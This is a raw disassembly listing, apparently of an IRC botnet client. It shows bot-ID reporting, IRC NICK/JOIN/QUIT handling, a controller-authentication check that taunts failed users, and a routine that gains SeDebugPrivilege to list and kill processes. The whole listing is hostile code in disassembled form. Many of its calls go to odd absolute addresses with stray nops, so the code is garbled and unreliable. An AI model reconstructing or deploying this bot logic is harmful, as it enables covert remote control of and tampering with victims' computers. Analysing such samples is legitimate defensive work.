		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414799
		mov	[ebp+var_46C], 1

loc_414799:				; CODE XREF: sub_40EE72+590Aj
					; sub_40EE72+591Bj
		lea	eax, [ebp+var_2DC]
		push	offset dword_435798
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_41533B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414807

loc_4147F1:				; CODE XREF: sub_40EE72+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------

loc_414807:				; CODE XREF: sub_40EE72+597Dj
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_435748
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_414818:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414837
		push	ebx
		push	[ebp+var_4]
		push	offset dword_435720
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414837:				; CODE XREF: sub_40EE72+59A9j
		push	[ebp+arg_4]
		call	dword_43F700
		call	dword_43F5C8
		call	sub_40AC42
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_414852:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356F8
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_414880:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4356D0
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_4148B2:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_4148CB:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_41490A
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41490A
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41490A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_41490A:				; CODE XREF: sub_40EE72+5A62j
					; sub_40EE72+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4356A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		call	near ptr 2680AA8h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4149AD

loc_414997:				; CODE XREF: sub_40EE72+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_414997
; ---------------------------------------------------------------------------

loc_4149AD:				; CODE XREF: sub_40EE72+5B23j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_435660
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4149BE:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_435638
		call	sub_40BF6D
		jmp	loc_41452A
; ---------------------------------------------------------------------------

loc_4149DE:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A38
		push	offset dword_435634
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3E
; ---------------------------------------------------------------------------

loc_414A38:				; CODE XREF: sub_40EE72+5BAAj
		mov	[ebp+var_46C], ebx

loc_414A3E:				; CODE XREF: sub_40EE72+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435608
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC7
		push	ebx
		push	ebx
		call	near ptr 2680AA8h
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414AA8

loc_414A96:				; CODE XREF: sub_40EE72+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC3
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_414A96
; ---------------------------------------------------------------------------

loc_414AA8:				; CODE XREF: sub_40EE72+5C22j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_4355C0

loc_414AB4:				; CODE XREF: sub_40EE72+489Fj
					; sub_40EE72+49BBj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414AC3:				; CODE XREF: sub_40EE72+4529j
					; sub_40EE72+4541j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------

loc_414ACF:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_435598
		jmp	short loc_414AED
; ---------------------------------------------------------------------------

loc_414ADB:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_43555C

loc_414AED:				; CODE XREF: sub_40EE72+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_414B1A:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4C
		cmp	[ebp+var_C], ebx
		jz	short loc_414B5B
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B5B
; ---------------------------------------------------------------------------

loc_414B4C:				; CODE XREF: sub_40EE72+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx

loc_414B5B:				; CODE XREF: sub_40EE72+5CB6j
					; sub_40EE72+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------

loc_414B62:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_43550C
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414B84:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4354CC
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414BA5:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF6
; ---------------------------------------------------------------------------

loc_414BBB:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_4354BC
		push	offset dword_4354B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BD3:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_4354A4
		push	offset dword_435494
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BEB:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0F
; ---------------------------------------------------------------------------

loc_414C0A:				; CODE XREF: sub_40EE72+5D82j
					; sub_40EE72+5D8Dj
		mov	eax, dword_42F5A8

loc_414C0F:				; CODE XREF: sub_40EE72+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C34
		push	esi

loc_414C21:				; CODE XREF: sub_40EE72+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------

loc_414C34:				; CODE XREF: sub_40EE72+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C45
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C21
; ---------------------------------------------------------------------------

loc_414C45:				; CODE XREF: sub_40EE72+5DC8j
		mov	[ebp+var_488], bl

loc_414C4B:				; CODE XREF: sub_40EE72+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414CFC

loc_414CE6:				; CODE XREF: sub_40EE72+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------

loc_414CFC:				; CODE XREF: sub_40EE72+5E72j
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset unk_43544C
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_414D0D:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D35
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3F

loc_414D35:				; CODE XREF: sub_40EE72+5EAAj
		mov	[ebp+var_46C], 1

loc_414D3F:				; CODE XREF: sub_40EE72+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D86
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_414D86:				; CODE XREF: sub_40EE72+5F0Dj
		push	eax
		push	offset dword_435400
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F28
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414DF6

loc_414DE4:				; CODE XREF: sub_40EE72+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E11
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_414DE4
; ---------------------------------------------------------------------------

loc_414DF6:				; CODE XREF: sub_40EE72+5F70j
		call	near ptr 2650C45h
		nop
		push	eax
		push	offset unk_4353B4

loc_414E02:				; CODE XREF: sub_40EE72+3DA7j
					; sub_40EE72+4AC3j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414E11:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+395Bj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------

loc_414E22:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_435394
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_414E31:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E91
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E86
		cmp	eax, 2
		jge	short loc_414E86
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E7B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438734
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414E7B:				; CODE XREF: sub_40EE72+5FE8j
		push	eax
		push	offset dword_435358
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E86:				; CODE XREF: sub_40EE72+5FD3j
					; sub_40EE72+5FD8j
		push	eax
		push	offset dword_43531C
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E91:				; CODE XREF: sub_40EE72+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_414E96:				; CODE XREF: sub_40EE72+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB9
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E96
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414EB9:				; CODE XREF: sub_40EE72+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438734
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414ED3:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_4386A4
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F47
		call	sub_416F25
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_414EF5:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_4352E8

loc_414F40:				; CODE XREF: sub_40EE72+4346j
					; sub_40EE72+49D9j ...
		call	sub_40BFE1
		pop	ecx

loc_414F46:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx

loc_414F47:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414F4F:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_4387B0 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_43C824
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_4352E4 ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEE
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_43525C
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_414FEE:				; CODE XREF: sub_40EE72+6138j
		mov	[ebp+arg_24], offset off_42F6C8

loc_414FF5:				; CODE XREF: sub_40EE72+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415055
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6CC
		jb	short loc_414FF5
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_435220
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_415055:				; CODE XREF: sub_40EE72+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_41505A:				; CODE XREF: sub_40EE72+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_41507A
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508B

loc_41507A:				; CODE XREF: sub_40EE72+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41505A
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_41508B:				; CODE XREF: sub_40EE72+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4351F4
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4150C2:				; CODE XREF: sub_40EE72+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4351C4
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4150D3:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_489DCC, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511F	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2780F4Fh
		nop
		push	eax
		call	dword_43F64C
		test	eax, eax
		jnz	short loc_41513E
		leave
		retn
; ---------------------------------------------------------------------------

loc_41513E:				; CODE XREF: sub_41511F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43F624
		test	eax, eax
		jz	short loc_41517C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415165
		or	[ebp+var_8], 2
		jmp	short loc_415169
; ---------------------------------------------------------------------------

loc_415165:				; CODE XREF: sub_41511F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_415169:				; CODE XREF: sub_41511F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43F6D4
		mov	esi, eax

loc_41517C:				; CODE XREF: sub_41511F+32j
		push	[ebp+var_4]
		call	near ptr 26309DCh
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518A	proc near		; CODE XREF: sub_40EE72+4B68p
					; sub_41533B+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43F688, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415334
		cmp	dword_43F66C, ebx
		jz	loc_415334
		cmp	dword_43F588, ebx
		jz	loc_415334
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43F688
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415327
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43F66C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415322

loc_41522D:				; CODE XREF: sub_41518A+BEj
					; sub_41518A+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43F588
		test	eax, eax
		jz	loc_415322
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522D
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152DA
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522D
		push	[ebp+var_124]
		push	8
		call	dword_43F688
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415297
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43F534
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529D
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A3
; ---------------------------------------------------------------------------

loc_415297:				; CODE XREF: sub_41518A+EBj
		push	[ebp+var_124]

loc_41529D:				; CODE XREF: sub_41518A+103j
		lea	eax, [ebp+var_108]

loc_4152A3:				; CODE XREF: sub_41518A+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522D
; ---------------------------------------------------------------------------

loc_4152DA:				; CODE XREF: sub_41518A+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522D
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 2720810h
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		call	near ptr 27E0C8Eh
		nop
		test	eax, eax
		jnz	short loc_41531D
		push	edi
		call	esi
		jmp	short loc_415334
; ---------------------------------------------------------------------------

loc_41531D:				; CODE XREF: sub_41518A+18Cj
		push	1
		pop	eax
		jmp	short loc_415336
; ---------------------------------------------------------------------------

loc_415322:				; CODE XREF: sub_41518A+9Dj
					; sub_41518A+B5j
		push	[ebp+var_4]
		call	esi

loc_415327:				; CODE XREF: sub_41518A+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx

loc_415334:				; CODE XREF: sub_41518A+3Aj
					; sub_41518A+46j ...
		xor	eax, eax

loc_415336:				; CODE XREF: sub_41518A+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533B	proc near		; DATA XREF: sub_40EE72+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_438834
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41539A
		push	esi
		lea	eax, [ebp+var_298]
